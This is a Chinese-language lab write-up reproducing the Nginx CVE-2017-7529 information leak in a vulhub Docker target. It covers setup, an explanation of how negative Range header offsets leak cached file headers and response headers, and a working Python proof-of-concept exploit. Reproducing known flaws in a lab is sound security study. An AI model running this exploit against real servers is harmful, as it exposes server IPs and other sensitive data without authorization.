1.准备:
1.1复现环境
漏洞环境:vulnhub靶场
工具准备:python3
1.2环境启动
进入vulnhub目录下的nginx目录,进入CVE-2017-7529目录
cd /home/hbesljx/vulhub/nginx/CVE-2017-7529
docker-compoe启动漏洞环境
docker-compose up -d
访问靶机的8080端口。出现nginx界面即为开启成功!
2.概念说明
2.1 Nginx是什么
Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器
3.漏洞原理
Nginx在进行反向代理时,会将一些静态文件进行缓存,缓存文件包括“文件头”+“Http响应包头”+“Http响应包体”,当再次请求这些文件时,Nginx会直接将缓存文件的Http响应包体返回给我们。
而我们构造http请求包头部中的range字段,选择start和end值让Nginx返回给我们指定位置的文件数据。如我们设置start和end为负值,则会返回Http响应包体的负数位置的文件数据给我们,也就是文件头和Http响应包头,这样我们就可以得到一些敏感信息如服务器的真实ip等。
4.漏洞复现
4.1 POC
#!/usr/bin/env python
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
print(r.text)
4.2 发送http请求包
成功获取到文件头和http响应包头的内容,如nginx版本、服务器ip等。